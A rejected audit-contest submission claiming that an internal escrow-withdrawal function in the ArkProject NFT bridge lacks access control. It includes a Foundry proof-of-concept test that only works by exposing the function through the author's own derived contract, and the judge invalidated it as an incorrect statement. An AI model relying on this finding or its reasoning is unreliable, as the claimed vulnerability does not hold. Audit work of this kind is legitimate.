ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Unauthorized Token Withdrawal in StarklaneEscrow(Escrow) Contract

juggernaut63

Summary

The _withdrawFromEscrow function is marked as internal, which means it can be called by any function within the same contract or derived contracts. However, there is no access control mechanism to restrict who can call this function. As a result, any contract or function that has access to _withdrawFromEscrow can be exploited to withdraw tokens from escrow without proper authorization.

Vulnerability Details

https://github.com/Cyfrin/2024-07-ark-project/blob/273b7b94986d3914d5ee737c99a59ec8728b1517/apps/blockchain/ethereum/src/Escrow.sol#L63-L89

contracts that will be affected: https://github.com/Cyfrin/2024-07-ark-project/blob/273b7b94986d3914d5ee737c99a59ec8728b1517/apps/blockchain/ethereum/src/Bridge.sol#L153-L215

  1. An attacker identifies a function in the contract that calls _withdrawFromEscrow.

  2. The attacker calls this function, passing the necessary parameters to withdraw tokens from escrow to their own address.

  3. The tokens are transferred from the escrow contract to the attacker's address.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "forge-std/Test.sol";
import "../src/Escrow.sol";
import "openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
​
// Derived contract to expose internal functions for testing
contract TestableStarklaneEscrow is StarklaneEscrow {
function depositIntoEscrow(
CollectionType collectionType,
address collection,
uint256[] memory ids
) public {
_depositIntoEscrow(collectionType, collection, ids);
}
​
function withdrawFromEscrow(
CollectionType collectionType,
address collection,
address to,
uint256 id
) public returns (bool) {
return _withdrawFromEscrow(collectionType, collection, to, id);
}
}
​
contract ExploitWithdrawTest is Test {
TestableStarklaneEscrow escrow;
MockERC721 token;
address attacker = address(0x1);
address victim = address(0x2);
uint256 tokenId = 1;
​
function setUp() public {
// Deploy the TestableStarklaneEscrow contract
escrow = new TestableStarklaneEscrow();
​
// Deploy a mock ERC721 token contract
token = new MockERC721();
​
// Mint a token to the victim
token.mint(victim, tokenId);
​
// Victim approves the escrow contract to transfer their token
vm.prank(victim);
token.approve(address(escrow), tokenId);
​
// Victim deposits the token into the escrow
vm.prank(victim);
uint256[] memory ids = new uint256[](1);
ids[0] = tokenId;
escrow.depositIntoEscrow(CollectionType.ERC721, address(token), ids);
}
​
function testExploitWithdraw() public {
// Attacker calls the withdraw function to withdraw the token to their address
vm.prank(attacker);
bool success = escrow.withdrawFromEscrow(CollectionType.ERC721, address(token), attacker, tokenId);
​
// Assert that the token was successfully withdrawn to the attacker's address
assertTrue(success, "Withdraw should be successful");
assertEq(token.ownerOf(tokenId), attacker, "Attacker should own the token");
}
}
​
// Mock ERC721 token contract for testing
contract MockERC721 is IERC721 {
mapping(uint256 => address) private _owners;
mapping(address => mapping(address => bool)) private _operatorApprovals;
​
function mint(address to, uint256 tokenId) public {
_owners[tokenId] = to;
}
​
function ownerOf(uint256 tokenId) public view override returns (address) {
return _owners[tokenId];
}
​
function balanceOf(address owner) public view override returns (uint256) {
uint256 count = 0;
for (uint256 i = 0; i < 10000; i++) {
if (_owners[i] == owner) {
count++;
}
}
return count;
}
​
function approve(address to, uint256 /*tokenId*/) public override {
_operatorApprovals[msg.sender][to] = true;
}
​
function getApproved(uint256 /*tokenId*/) public pure override returns (address) {
return address(0);
}
​
function setApprovalForAll(address operator, bool approved) public override {
_operatorApprovals[msg.sender][operator] = approved;
}
​
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
​
function transferFrom(address from, address to, uint256 tokenId) public override {
require(_owners[tokenId] == from, "Not the owner");
_owners[tokenId] = to;
}
​
function safeTransferFrom(address from, address to, uint256 tokenId) public override {
transferFrom(from, to, tokenId);
}
​
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory /*data*/) public override {
transferFrom(from, to, tokenId);
}
​
function supportsInterface(bytes4 interfaceId) public pure override returns (bool) {
return interfaceId == type(IERC721).interfaceId;
}
}

forge test --match-path test/ExploitWithdrawTest.t.sol
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/ExploitWithdrawTest.t.sol:ExploitWithdrawTest
[PASS] testExploitWithdraw() (gas: 26245)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.59ms (218.80µs CPU time)

Ran 1 test suite in 18.80ms (1.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

  • Attackers can steal tokens from escrow, leading to significant financial loss for legitimate users who have deposited their tokens.

  • Users may lose trust in the platform due to the potential for unauthorized withdrawals, damaging the platform's reputation.

  • The platform may face operational challenges in addressing the issue and compensating affected users, leading to potential downtime and increased support costs.

Tools Used

  • Manual review

  • Foundry

Recommendations

  • Use the onlyOwner modifier or a similar access control mechanism to restrict who can call the _withdrawFromEscrow function.

  • Implement role-based access control using OpenZeppelin's AccessControl library on Starklane(Bridge) contracts to manage permissions more granularly.

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.